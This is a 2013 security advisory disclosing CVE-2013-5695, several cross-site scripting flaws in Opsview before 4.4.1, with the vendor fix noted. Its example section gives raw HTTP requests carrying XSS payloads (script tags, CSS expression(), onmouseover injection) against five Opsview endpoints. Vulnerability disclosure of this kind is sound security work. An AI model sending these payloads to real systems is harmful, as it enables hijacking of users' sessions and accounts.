Ops View Pre 4.4.1 Cross Site Scripting

`CVE-2013-5695 Multilple Cross Site Scripting (XSS) Attacks in Ops View  
Version(s): Opsview pre 4.4.1  
Author: J. Oquendo (joquendo at e-fensive dot net)  
  
  
I. ADVISORY  
  
Title: Multilple Cross Site Scripting (XSS) Attacks in Ops View  
Date published: 2013-10-28  
Vendor contacted: 2013-09-04  
  
  
II. BACKGROUND  
  
Opsview is a systems management software built on open  
source software. To minimize noise, read more about it  
here  
  
http://www.opsview.com/about-us  
  
  
II. DESCRIPTION  
  
Opsview is vulnerable to a few different XSS based attacks.  
  
/admin/auditlog  
/info/host/  
/login  
/status/service/recheck  
/viewport/  
  
There are a variety of iterations within those functions  
which may allow a malicious user to trigger a cross site  
scripting attack.  
  
  
III. EXAMPLE  
  
GET /admin/auditlog/?id=1%3cScRiPt%20%3eprompt%28ohnoes%29%3c%2fMY XSS SCRIPT HERE%3e HTTP/1.1  
Host: 10.20.30.68:80  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Opera/5.54 (Windows NT 5.1; U) [en]  
  
------------  
  
GET /info/host/1%3Cdiv%20style=width:expression(prompt(ohnoes))%3E  
HTTP/1.1  
Host: 10.20.30.68:80  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Opera/5.54 (Windows NT 5.1; U) [en]  
  
------------  
  
POST /login HTTP/1.1  
Content-Length: 125  
Content-Type: application/x-www-form-urlencoded  
Host: 10.20.30.68:80  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Opera/5.54 (Windows NT 5.1; U) [en]  
  
app=OPSVIEW&back=%22%20onmouseover%3dprompt%28ohnoes%29%20xss%3d%22&login=Sign+in&login_password=no&login_username=no  
  
------------  
  
POST /status/service/recheck HTTP/1.1  
Content-Length: 144  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Opera/5.54 (Windows NT 5.1; U) [en]  
  
&from=%22%20onmouseover%3dprompt%28ohnoes%29%20xss%3d%22&host_selection=opsview&service_selection=opsview%3bConnectivity%20-%20LAN&submit=Submit  
  
------------  
  
GET /viewport/1%3Cdiv%20style=width:expression(prompt(ohnoes))%3E  
HTTP/1.1  
Host: 10.20.30.68:80  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Opera/5.54 (Windows NT 5.1; U) [en]  
  
Host: 10.20.30.68:80  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Opera/5.54 (Windows NT 5.1; U) [en]  
  
III SOLUTION  
  
Opsview released a fix with Opsview 4.4.1   
http://docs.opsview.com/doku.php?id=opsview4.4:changes#fixes  
  
--   
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+  
J. Oquendo  
SGFA, SGFE, C|EH, CNDA, CHFI, OSCP, CPT, RWSP, GREM  
  
"Where ignorance is our master, there is no possibility of  
real peace" - Dalai Lama  
  
42B0 5A53 6505 6638 44BB 3943 2BF7 D83F 210A 95AF  
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x2BF7D83F210A95AF  
`